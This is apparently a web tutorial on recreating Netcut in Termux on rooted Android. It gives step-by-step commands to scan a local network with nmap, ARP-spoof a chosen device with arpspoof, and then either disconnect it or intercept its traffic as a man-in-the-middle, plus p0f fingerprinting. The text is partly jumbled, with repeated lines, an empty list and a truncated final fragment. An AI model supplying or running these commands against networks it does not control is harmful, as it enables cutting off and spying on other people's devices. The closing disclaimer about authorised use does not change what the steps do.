Replace interface and subnet with your network’s values. Use ip addr or ifconfig to confirm.
If the Android device is rooted, Termux can function as a full network audit platform.
If you are looking to manage network traffic, test your router's ARP table vulnerabilities, or monitor devices on your local network using your Android device, Termux is a powerful tool to achieve this.
While the original "Netcut" is a specific Windows software, the functionality (ARP Spoofing/Disconnection) is replicated on Linux/Termux using specific network tools.
Here is how to set up a network testing environment in Termux safely and effectively. Netcut Termux
This requires Root access.
Step 1: Identify your Network Info
Find your network interface (usually wlan0) and your Gateway IP (Router IP).
ifconfig
ip route
Look for a line like: default via 192.168.1.1 dev wlan0.
Step 2: Identify the Target
You need to scan the network to find the IP address of the device you want to cut. Use nmap: Replace interface and subnet with your network’s values
pkg install nmap
nmap -sP 192.168.1.1/24
This lists all connected devices. Pick a target IP, e.g., 192.168.1.50.
Step 3: Execute the Cut Run the following command to intercept traffic between the target and the router.
sudo arpspoof -i wlan0 -t 192.168.1.50 192.168.1.1
Step 4: Enable Forwarding (Optional) By default, this intercepts traffic. If you just want to cut them off completely, you must ensure IP forwarding is OFF or drop the packets. If you want to spy on the traffic (MITM), you turn forwarding ON.
To cut internet completely:
sudo sysctl -w net.ipv4.ip_forward=0
Use p0f to identify target operating systems without active scanning:
pkg install p0f
p0f -i wlan0
Netcut is a Windows tool that can:
❌ Netcut itself does NOT run on Termux (Android Linux environment).
✅ But you can replicate its core functions using command-line tools.
While Netcut Termux can be a valuable tool for network management and security, it's crucial to use it responsibly and ethically. Unauthorized access or control over network devices is illegal and can have serious consequences. Always ensure you have the right to manage the network and devices you are working with. Look for a line like: default via 192
